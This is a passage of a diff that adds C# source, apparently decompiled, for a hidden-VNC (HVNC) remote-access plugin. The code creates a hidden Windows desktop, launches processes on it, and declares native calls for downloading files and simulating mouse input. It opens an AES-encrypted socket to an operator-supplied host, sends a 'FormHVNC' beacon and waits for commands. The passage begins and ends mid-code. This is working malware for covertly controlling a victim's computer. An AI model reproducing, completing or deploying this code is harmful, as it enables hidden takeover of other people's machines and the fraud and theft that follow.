}
|
||||
else
|
||||
{
|
||||
HideDesktop hideDesktop = HideDesktop.OpenDesktop(desktop);
|
||||
result = hideDesktop.CreateProcess(path, bAppName);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x06000007 RID: 7 RVA: 0x000020E4 File Offset: 0x000002E4
|
||||
public static void CollectProcessAndChildren(int pid)
|
||||
{
|
||||
bool flag = pid == 0;
|
||||
if (!flag)
|
||||
{
|
||||
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid.ToString());
|
||||
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
|
||||
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
|
||||
{
|
||||
ManagementObject managementObject = (ManagementObject)managementBaseObject;
|
||||
HideDesktop.CollectProcessAndChildren(Convert.ToInt32(managementObject["ProcessID"]));
|
||||
}
|
||||
HandelNative.m_lstProcessID.Add(pid);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x06000008 RID: 8 RVA: 0x0000217C File Offset: 0x0000037C
|
||||
public bool CreateProcess(string path, bool bAppName)
|
||||
{
|
||||
this.CheckDisposed();
|
||||
bool flag = !this.IsOpen;
|
||||
bool result;
|
||||
if (flag)
|
||||
{
|
||||
result = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
HandelNative.STARTUPINFO startupinfo = default(HandelNative.STARTUPINFO);
|
||||
startupinfo.cb = Marshal.SizeOf(startupinfo);
|
||||
startupinfo.lpDesktop = this.Desktop_name;
|
||||
HandelNative.PROCESS_INFORMATION process_INFORMATION = default(HandelNative.PROCESS_INFORMATION);
|
||||
bool flag2 = !bAppName;
|
||||
bool flag3;
|
||||
if (flag2)
|
||||
{
|
||||
flag3 = HideDesktop.CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 32, IntPtr.Zero, null, ref startupinfo, ref process_INFORMATION);
|
||||
}
|
||||
else
|
||||
{
|
||||
flag3 = HideDesktop.CreateProcess(path, null, IntPtr.Zero, IntPtr.Zero, false, 32, IntPtr.Zero, null, ref startupinfo, ref process_INFORMATION);
|
||||
}
|
||||
HideDesktop.CollectProcessAndChildren(process_INFORMATION.dwProcessId);
|
||||
result = flag3;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x06000009 RID: 9 RVA: 0x00002238 File Offset: 0x00000438
|
||||
public static bool Load(HideDesktop desktop)
|
||||
{
|
||||
bool flag = !desktop.IsOpen;
|
||||
return !flag && HandelNative.SetThreadDesktop(desktop.DesktopHandle);
|
||||
}
|
||||
|
||||
// Token: 0x17000001 RID: 1
|
||||
// (get) Token: 0x0600000A RID: 10 RVA: 0x00002268 File Offset: 0x00000468
|
||||
public bool IsOpen
|
||||
{
|
||||
get
|
||||
{
|
||||
return this.HDesktop != IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x17000002 RID: 2
|
||||
// (get) Token: 0x0600000B RID: 11 RVA: 0x0000228C File Offset: 0x0000048C
|
||||
public IntPtr DesktopHandle
|
||||
{
|
||||
get
|
||||
{
|
||||
return this.HDesktop;
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0600000C RID: 12 RVA: 0x000022A4 File Offset: 0x000004A4
|
||||
public bool Create(string name)
|
||||
{
|
||||
this.CheckDisposed();
|
||||
bool flag = this.HDesktop != IntPtr.Zero;
|
||||
if (flag)
|
||||
{
|
||||
bool flag2 = !this.Close();
|
||||
if (flag2)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
bool flag3 = HideDesktop.Exists(name);
|
||||
bool result;
|
||||
if (flag3)
|
||||
{
|
||||
result = this.Open(name);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.HDesktop = HideDesktop.CreateDesktop(name, IntPtr.Zero, IntPtr.Zero, 0, 511L, IntPtr.Zero);
|
||||
this.Desktop_name = name;
|
||||
bool flag4 = this.HDesktop == IntPtr.Zero;
|
||||
result = !flag4;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x0600000D RID: 13 RVA: 0x00002340 File Offset: 0x00000540
|
||||
public bool Open(string name)
|
||||
{
|
||||
this.CheckDisposed();
|
||||
bool flag = this.HDesktop != IntPtr.Zero;
|
||||
if (flag)
|
||||
{
|
||||
bool flag2 = !this.Close();
|
||||
if (flag2)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
this.HDesktop = HideDesktop.OpenDesktop(name, 0, false, 511L);
|
||||
bool flag3 = this.HDesktop == IntPtr.Zero;
|
||||
bool result;
|
||||
if (flag3)
|
||||
{
|
||||
result = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Desktop_name = name;
|
||||
result = true;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x0600000E RID: 14 RVA: 0x000023B4 File Offset: 0x000005B4
|
||||
private void CheckDisposed()
|
||||
{
|
||||
bool disposed_Boolean = this.Disposed_Boolean;
|
||||
if (disposed_Boolean)
|
||||
{
|
||||
throw new ObjectDisposedException("");
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0600000F RID: 15 RVA: 0x000023D8 File Offset: 0x000005D8
|
||||
public bool Close()
|
||||
{
|
||||
this.CheckDisposed();
|
||||
bool flag = this.HDesktop != IntPtr.Zero;
|
||||
bool result;
|
||||
if (flag)
|
||||
{
|
||||
bool flag2 = HandelNative.CloseDesktop(this.DesktopHandle);
|
||||
bool flag3 = flag2;
|
||||
if (flag3)
|
||||
{
|
||||
this.HDesktop = IntPtr.Zero;
|
||||
this.Desktop_name = string.Empty;
|
||||
}
|
||||
result = flag2;
|
||||
}
|
||||
else
|
||||
{
|
||||
result = true;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x06000010 RID: 16 RVA: 0x00002434 File Offset: 0x00000634
|
||||
public static bool Exists(string name)
|
||||
{
|
||||
return HideDesktop.Exists(name, false);
|
||||
}
|
||||
|
||||
// Token: 0x06000011 RID: 17 RVA: 0x00002450 File Offset: 0x00000650
|
||||
public static bool Exists(string name, bool caseInsensitive)
|
||||
{
|
||||
string[] desktops = HideDesktop.GetDesktops();
|
||||
foreach (string text in desktops)
|
||||
{
|
||||
if (caseInsensitive)
|
||||
{
|
||||
bool flag = object.Equals(text.ToLower(), name.ToLower());
|
||||
if (flag)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
bool flag2 = object.Equals(text, name);
|
||||
if (flag2)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Token: 0x06000012 RID: 18 RVA: 0x000024BC File Offset: 0x000006BC
|
||||
private static bool DesktopProc(string lpszDesktop, IntPtr lParam)
|
||||
{
|
||||
HideDesktop.StringCollection.Add(lpszDesktop);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Token: 0x06000013 RID: 19 RVA: 0x000024DC File Offset: 0x000006DC
|
||||
public static string[] GetDesktops()
|
||||
{
|
||||
IntPtr processWindowStation = HandelNative.GetProcessWindowStation();
|
||||
bool flag = processWindowStation == IntPtr.Zero;
|
||||
string[] result;
|
||||
if (flag)
|
||||
{
|
||||
result = new string[0];
|
||||
}
|
||||
else
|
||||
{
|
||||
StringCollection obj = HideDesktop.Valua<StringCollection>(ref HideDesktop.StringCollection, new StringCollection());
|
||||
string[] array;
|
||||
lock (obj)
|
||||
{
|
||||
bool flag3 = HandelNative.EnumDesktops(processWindowStation, new HandelNative.EnumDesktopProc(HideDesktop.DesktopProc), IntPtr.Zero);
|
||||
bool flag4 = !flag3;
|
||||
if (flag4)
|
||||
{
|
||||
return new string[0];
|
||||
}
|
||||
array = new string[HideDesktop.StringCollection.Count];
|
||||
int i = 0;
|
||||
int num = array.Length - 1;
|
||||
while (i <= num)
|
||||
{
|
||||
array[i] = HideDesktop.StringCollection[i];
|
||||
i++;
|
||||
}
|
||||
}
|
||||
result = array;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x06000014 RID: 20 RVA: 0x000025C0 File Offset: 0x000007C0
|
||||
public static T Valua<T>(ref T target, T value)
|
||||
{
|
||||
target = value;
|
||||
return value;
|
||||
}
|
||||
|
||||
// Token: 0x04000001 RID: 1
|
||||
private string Desktop_name;
|
||||
|
||||
// Token: 0x04000002 RID: 2
|
||||
private bool Disposed_Boolean;
|
||||
|
||||
// Token: 0x04000003 RID: 3
|
||||
private static StringCollection StringCollection;
|
||||
|
||||
// Token: 0x04000004 RID: 4
|
||||
private IntPtr HDesktop;
|
||||
}
|
||||
@@ -0,0 +1,352 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Methods.Native
|
||||
{
|
||||
// Token: 0x02000005 RID: 5
|
||||
internal class HandelNative
|
||||
{
|
||||
|
||||
[DllImport("SHCore.dll", SetLastError = true)]
|
||||
public static extern int SetProcessDpiAwareness(int awareness);
|
||||
|
||||
// Token: 0x06000038 RID: 56
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int GetSystemMetrics(int smIndex);
|
||||
|
||||
// Token: 0x06000039 RID: 57
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
// Token: 0x0600003A RID: 58
|
||||
[DllImport("dwmapi.dll", PreserveSig = false)]
|
||||
public static extern void DwmEnableComposition(bool bEnable);
|
||||
|
||||
// Token: 0x0600003B RID: 59
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref HandelNative.STARTUPINFO lpStartupInfo, ref HandelNative.PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
// Token: 0x0600003C RID: 60
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, long dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
// Token: 0x0600003D RID: 61
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, long dwDesiredAccess);
|
||||
|
||||
// Token: 0x0600003E RID: 62
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int SetWindowLong(IntPtr hWnd, [MarshalAs(UnmanagedType.I4)] HandelNative.WindowLongFlags nIndex, int dwNewintptr);
|
||||
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
// Token: 0x06000041 RID: 65
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
// Token: 0x06000042 RID: 66
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetProcessWindowStation();
|
||||
|
||||
// Token: 0x06000043 RID: 67
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool EnumDesktops(IntPtr hwinsta, HandelNative.EnumDesktopProc lpEnumFunc, IntPtr lParam);
|
||||
|
||||
// Token: 0x06000044 RID: 68
|
||||
[DllImport("kernel32", CharSet = CharSet.Unicode)]
|
||||
public static extern bool DeleteFile(string name);
|
||||
|
||||
// Token: 0x06000045 RID: 69
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
// Token: 0x06000046 RID: 70
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string lclassName, string windowTitle);
|
||||
|
||||
// Token: 0x06000047 RID: 71
|
||||
[DllImport("user32.dll", EntryPoint = "FindWindowEx")]
|
||||
public static extern IntPtr FindWindowEx2(IntPtr hWnd1, IntPtr hWnd2, IntPtr lpsz1, string lpsz2);
|
||||
|
||||
// Token: 0x06000048 RID: 72
|
||||
[DllImport("advapi32.dll")]
|
||||
public static extern bool GetCurrentHwProfile(IntPtr fProfile);
|
||||
|
||||
// Token: 0x06000049 RID: 73
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetForegroundWindow();
|
||||
|
||||
// Token: 0x0600004A RID: 74
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
|
||||
|
||||
// Token: 0x0600004B RID: 75
|
||||
[DllImport("user32.dll", EntryPoint = "GetWindowTextW")]
|
||||
public static extern int GetWindowText([In] IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] out StringBuilder lpString, int nMaxCount);
|
||||
|
||||
// Token: 0x0600004C RID: 76
|
||||
[DllImport("winmm.dll")]
|
||||
public static extern int mciSendString(string command, string buffer, int bufferSize, IntPtr hwndCallback);
|
||||
|
||||
// Token: 0x0600004D RID: 77
|
||||
[DllImport("user32.dll")]
|
||||
public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint dwData, int dwExtraInfo);
|
||||
|
||||
// Token: 0x0600004E RID: 78
|
||||
[DllImport("Kernel32.dll")]
|
||||
public static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, out StringBuilder lpExeName, out uint lpdwSize);
|
||||
|
||||
// Token: 0x0600004F RID: 79
|
||||
[DllImport("user32.dll", CharSet = CharSet.Ansi)]
|
||||
public static extern IntPtr SendMessage(IntPtr hWnd, int hMsg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
// Token: 0x06000050 RID: 80
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
|
||||
// Token: 0x06000051 RID: 81
|
||||
[DllImport("kernel32.dll", EntryPoint = "Sleep")]
|
||||
public static extern void SleepThread(int ms);
|
||||
|
||||
// Token: 0x06000052 RID: 82
|
||||
[DllImport("urlmon.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int URLDownloadToFile([MarshalAs(UnmanagedType.IUnknown)] object pCaller, [MarshalAs(UnmanagedType.LPWStr)] string szURL, [MarshalAs(UnmanagedType.LPWStr)] string szFileName, int dwReserved, IntPtr lpfnCB);
|
||||
|
||||
// Token: 0x06000053 RID: 83
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
|
||||
|
||||
// Token: 0x04000019 RID: 25
|
||||
public static bool Right = false;
|
||||
|
||||
// Token: 0x0400001A RID: 26
|
||||
public const int NORMAL_PRIORITY_CLASS = 32;
|
||||
|
||||
// Token: 0x0400001B RID: 27
|
||||
public static List<int> m_lstProcessID = new List<int>();
|
||||
|
||||
// Token: 0x0400001C RID: 28
|
||||
public const long DESKTOP_CREATEWINDOW = 2L;
|
||||
|
||||
// Token: 0x0400001D RID: 29
|
||||
public const long DESKTOP_ENUMERATE = 64L;
|
||||
|
||||
// Token: 0x0400001E RID: 30
|
||||
public const long DESKTOP_WRITEOBJECTS = 128L;
|
||||
|
||||
// Token: 0x0400001F RID: 31
|
||||
public const long DESKTOP_SWITCHDESKTOP = 256L;
|
||||
|
||||
// Token: 0x04000020 RID: 32
|
||||
public const long DESKTOP_CREATEMENU = 4L;
|
||||
|
||||
// Token: 0x04000021 RID: 33
|
||||
public const long DESKTOP_HOOKCONTROL = 8L;
|
||||
|
||||
// Token: 0x04000022 RID: 34
|
||||
public const long DESKTOP_READOBJECTS = 1L;
|
||||
|
||||
// Token: 0x04000023 RID: 35
|
||||
public const long DESKTOP_JOURNALRECORD = 16L;
|
||||
|
||||
// Token: 0x04000024 RID: 36
|
||||
public const long DESKTOP_JOURNALPLAYBACK = 32L;
|
||||
|
||||
// Token: 0x04000025 RID: 37
|
||||
public const long AccessRights = 511L;
|
||||
|
||||
// Token: 0x04000026 RID: 38
|
||||
public const short SWP_NOMOVE = 2;
|
||||
|
||||
// Token: 0x04000027 RID: 39
|
||||
public const short SWP_NOSIZE = 1;
|
||||
|
||||
// Token: 0x04000028 RID: 40
|
||||
public const short SWP_NOZORDER = 4;
|
||||
|
||||
// Token: 0x04000029 RID: 41
|
||||
public const short SWP_SHOWWINDOW = 64;
|
||||
|
||||
// Token: 0x0400002A RID: 42
|
||||
private readonly IntPtr HWND_BOTTOM = new IntPtr(1);
|
||||
|
||||
// Token: 0x02000024 RID: 36
|
||||
public struct RECT
|
||||
{
|
||||
// Token: 0x04000098 RID: 152
|
||||
public int Left;
|
||||
|
||||
// Token: 0x04000099 RID: 153
|
||||
public int Top;
|
||||
|
||||
// Token: 0x0400009A RID: 154
|
||||
public int Right;
|
||||
|
||||
// Token: 0x0400009B RID: 155
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
// Token: 0x02000025 RID: 37
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
// Token: 0x0400009C RID: 156
|
||||
public IntPtr hProcess;
|
||||
|
||||
// Token: 0x0400009D RID: 157
|
||||
public IntPtr hThread;
|
||||
|
||||
// Token: 0x0400009E RID: 158
|
||||
public int dwProcessId;
|
||||
|
||||
// Token: 0x0400009F RID: 159
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
// Token: 0x02000026 RID: 38
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
// Token: 0x040000A0 RID: 160
|
||||
public int cb;
|
||||
|
||||
// Token: 0x040000A1 RID: 161
|
||||
public string lpReserved;
|
||||
|
||||
// Token: 0x040000A2 RID: 162
|
||||
public string lpDesktop;
|
||||
|
||||
// Token: 0x040000A3 RID: 163
|
||||
public string lpTitle;
|
||||
|
||||
// Token: 0x040000A4 RID: 164
|
||||
public int dwX;
|
||||
|
||||
// Token: 0x040000A5 RID: 165
|
||||
public int dwY;
|
||||
|
||||
// Token: 0x040000A6 RID: 166
|
||||
public int dwXSize;
|
||||
|
||||
// Token: 0x040000A7 RID: 167
|
||||
public int dwYSize;
|
||||
|
||||
// Token: 0x040000A8 RID: 168
|
||||
public int dwXCountChars;
|
||||
|
||||
// Token: 0x040000A9 RID: 169
|
||||
public int dwYCountChars;
|
||||
|
||||
// Token: 0x040000AA RID: 170
|
||||
public int dwFillAttribute;
|
||||
|
||||
// Token: 0x040000AB RID: 171
|
||||
public int dwFlags;
|
||||
|
||||
// Token: 0x040000AC RID: 172
|
||||
public short wShowWindow;
|
||||
|
||||
// Token: 0x040000AD RID: 173
|
||||
public short cbReserved2;
|
||||
|
||||
// Token: 0x040000AE RID: 174
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
// Token: 0x040000AF RID: 175
|
||||
public IntPtr hStdInput;
|
||||
|
||||
// Token: 0x040000B0 RID: 176
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
// Token: 0x040000B1 RID: 177
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
// Token: 0x02000027 RID: 39
|
||||
[Flags]
|
||||
internal enum DESKTOP_ACCESS : uint
|
||||
{
|
||||
// Token: 0x040000B3 RID: 179
|
||||
DESKTOP_NONE = 0U,
|
||||
// Token: 0x040000B4 RID: 180
|
||||
DESKTOP_READOBJECTS = 1U,
|
||||
// Token: 0x040000B5 RID: 181
|
||||
DESKTOP_CREATEWINDOW = 2U,
|
||||
// Token: 0x040000B6 RID: 182
|
||||
DESKTOP_CREATEMENU = 4U,
|
||||
// Token: 0x040000B7 RID: 183
|
||||
DESKTOP_HOOKCONTROL = 8U,
|
||||
// Token: 0x040000B8 RID: 184
|
||||
DESKTOP_JOURNALRECORD = 16U,
|
||||
// Token: 0x040000B9 RID: 185
|
||||
DESKTOP_JOURNALPLAYBACK = 32U,
|
||||
// Token: 0x040000BA RID: 186
|
||||
DESKTOP_ENUMERATE = 64U,
|
||||
// Token: 0x040000BB RID: 187
|
||||
DESKTOP_WRITEOBJECTS = 128U,
|
||||
// Token: 0x040000BC RID: 188
|
||||
DESKTOP_SWITCHDESKTOP = 256U,
|
||||
// Token: 0x040000BD RID: 189
|
||||
GENERIC_ALL = 511U
|
||||
}
|
||||
|
||||
// Token: 0x02000028 RID: 40
|
||||
[Flags]
|
||||
public enum MouseEventFlags : uint
|
||||
{
|
||||
// Token: 0x040000BF RID: 191
|
||||
MOUSEEVENTF_ABSOLUTE = 32768U,
|
||||
// Token: 0x040000C0 RID: 192
|
||||
MOUSEEVENTF_LEFTDOWN = 2U,
|
||||
// Token: 0x040000C1 RID: 193
|
||||
MOUSEEVENTF_LEFTUP = 4U,
|
||||
// Token: 0x040000C2 RID: 194
|
||||
MOUSEEVENTF_MIDDLEDOWN = 32U,
|
||||
// Token: 0x040000C3 RID: 195
|
||||
MOUSEEVENTF_MIDDLEUP = 64U,
|
||||
// Token: 0x040000C4 RID: 196
|
||||
MOUSEEVENTF_MOVE = 1U,
|
||||
// Token: 0x040000C5 RID: 197
|
||||
MOUSEEVENTF_RIGHTDOWN = 8U,
|
||||
// Token: 0x040000C6 RID: 198
|
||||
MOUSEEVENTF_RIGHTUP = 16U,
|
||||
// Token: 0x040000C7 RID: 199
|
||||
MOUSEEVENTF_XDOWN = 128U,
|
||||
// Token: 0x040000C8 RID: 200
|
||||
MOUSEEVENTF_XUP = 256U,
|
||||
// Token: 0x040000C9 RID: 201
|
||||
MOUSEEVENTF_WHEEL = 2048U,
|
||||
// Token: 0x040000CA RID: 202
|
||||
MOUSEEVENTF_HWHEEL = 4096U
|
||||
}
|
||||
|
||||
// Token: 0x02000029 RID: 41
|
||||
public enum WindowLongFlags
|
||||
{
|
||||
// Token: 0x040000CC RID: 204
|
||||
DWLP_DLGPROC = 4,
|
||||
// Token: 0x040000CD RID: 205
|
||||
DWLP_MSGRESULT = 0,
|
||||
// Token: 0x040000CE RID: 206
|
||||
DWLP_USER = 8,
|
||||
// Token: 0x040000CF RID: 207
|
||||
GWL_EXSTYLE = -20,
|
||||
// Token: 0x040000D0 RID: 208
|
||||
GWL_ID = -12,
|
||||
// Token: 0x040000D1 RID: 209
|
||||
GWL_STYLE = -16,
|
||||
// Token: 0x040000D2 RID: 210
|
||||
GWL_USERDATA = -21,
|
||||
// Token: 0x040000D3 RID: 211
|
||||
GWL_WNDPROC = -4,
|
||||
// Token: 0x040000D4 RID: 212
|
||||
GWLP_HINSTANCE = -6,
|
||||
// Token: 0x040000D5 RID: 213
|
||||
GWLP_HWNDPARENT = -8
|
||||
}
|
||||
|
||||
public delegate bool EnumDesktopProc(string lpszDesktop, IntPtr lParam);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,768 @@
|
||||
using Microsoft.VisualBasic; // Install-Package Microsoft.VisualBasic
|
||||
using Microsoft.VisualBasic.CompilerServices; // Install-Package Microsoft.VisualBasic
|
||||
using Microsoft.Win32;
|
||||
using Plugin.S.OpenApp;
|
||||
using S.OpenApp;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace HVNC
|
||||
{
|
||||
class Plugin
|
||||
{
|
||||
public static System.Threading.Thread T1 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.BeginConnect));
|
||||
public static System.Threading.Thread T2 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.Ping));
|
||||
|
||||
|
||||
public static void Run(string H, string P, string SL, string K, string id)
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
Settings.Host = H;
|
||||
Settings.Port = P;
|
||||
Settings.SPL = SL;
|
||||
Settings.KEY = K;
|
||||
Settings.IDD = id;
|
||||
T1.Start();
|
||||
T2.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public partial class Settings
|
||||
{
|
||||
public static string Host;
|
||||
public static string Port;
|
||||
public static string KEY;
|
||||
public static string SPL;
|
||||
public static string IDD;
|
||||
}
|
||||
|
||||
public partial class ClientSocket
|
||||
{
|
||||
public static bool isConnected = false;
|
||||
public static Socket S;
|
||||
public static long BufferLength = default;
|
||||
public static byte[] Buffer;
|
||||
public static MemoryStream MS = new MemoryStream();
|
||||
public static void BeginConnect()
|
||||
{
|
||||
S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
BufferLength = -1;
|
||||
Buffer = new byte[1];
|
||||
MS = new MemoryStream();
|
||||
|
||||
S.ReceiveBufferSize = 50 * 1024;
|
||||
S.SendBufferSize = 50 * 1024;
|
||||
|
||||
try
|
||||
{
|
||||
S.Connect(Settings.Host, Conversions.ToInteger(Settings.Port));
|
||||
isConnected = true;
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
Methods.Native.HandelNative.SetProcessDpiAwareness(2);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
Helper.ScreenX = Screen.PrimaryScreen.Bounds.Width;
|
||||
Helper.ScreenY = Screen.PrimaryScreen.Bounds.Height;
|
||||
|
||||
Send("FormHVNC" + Settings.SPL + Settings.IDD + Settings.SPL + Helper.ScreenX + Settings.SPL + Helper.ScreenY);
|
||||
|
||||
Helper.HigherThan81 = Conversions.ToBoolean(Helper.Isgreaterorequalto81());
|
||||
|
||||
Helper.OpenWindowsDesktop();
|
||||
|
||||
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
|
||||
public static void BeginReceive(IAsyncResult ar)
|
||||
{
|
||||
if (isConnected == false)
|
||||
isDisconnected();
|
||||
try
|
||||
{
|
||||
int Received = S.EndReceive(ar);
|
||||
if (Received > 0)
|
||||
{
|
||||
if (BufferLength == -1)
|
||||
{
|
||||
if (Buffer[0] == 0)
|
||||
{
|
||||
BufferLength = Conversions.ToLong(Helper.BS(MS.ToArray()));
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
|
||||
if (BufferLength == 0L)
|
||||
{
|
||||
BufferLength = -1;
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
return;
|
||||
}
|
||||
Buffer = new byte[(int)(BufferLength - 1L + 1)];
|
||||
}
|
||||
else
|
||||
{
|
||||
MS.WriteByte(Buffer[0]);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
MS.Write(Buffer, 0, Received);
|
||||
if (MS.Length == BufferLength)
|
||||
{
|
||||
|
||||
var thread = new Thread(BeginRead);
|
||||
thread.Start(MS.ToArray());
|
||||
|
||||
BufferLength = -1;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
Buffer = new byte[1];
|
||||
}
|
||||
else
|
||||
{
|
||||
Buffer = new byte[(int)(BufferLength - MS.Length - 1L + 1)];
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
isDisconnected();
|
||||
return;
|
||||
}
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public static void BeginRead(object b)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = (byte[])b;
|
||||
Messages.Read(buffer);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Send(string msg)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var MS = new MemoryStream())
|
||||
{
|
||||
var B = Helper.AES_Encryptor(Helper.SB(msg));
|
||||
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
|
||||
|
||||
MS.Write(L, 0, L.Length);
|
||||
MS.Write(B, 0, B.Length);
|
||||
|
||||
S.Poll(-1, SelectMode.SelectWrite);
|
||||
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void isDisconnected()
|
||||
{
|
||||
isConnected = false;
|
||||
|
||||
try
|
||||
{
|
||||
S.Close();
|
||||
S.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
MS.Close();
|
||||
MS.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
Plugin.T1.Abort();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
try
|
||||
{
|
||||
Plugin.T2.Abort();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public static void Ping()
|
||||
{
|
||||
while (true)
|
||||
{
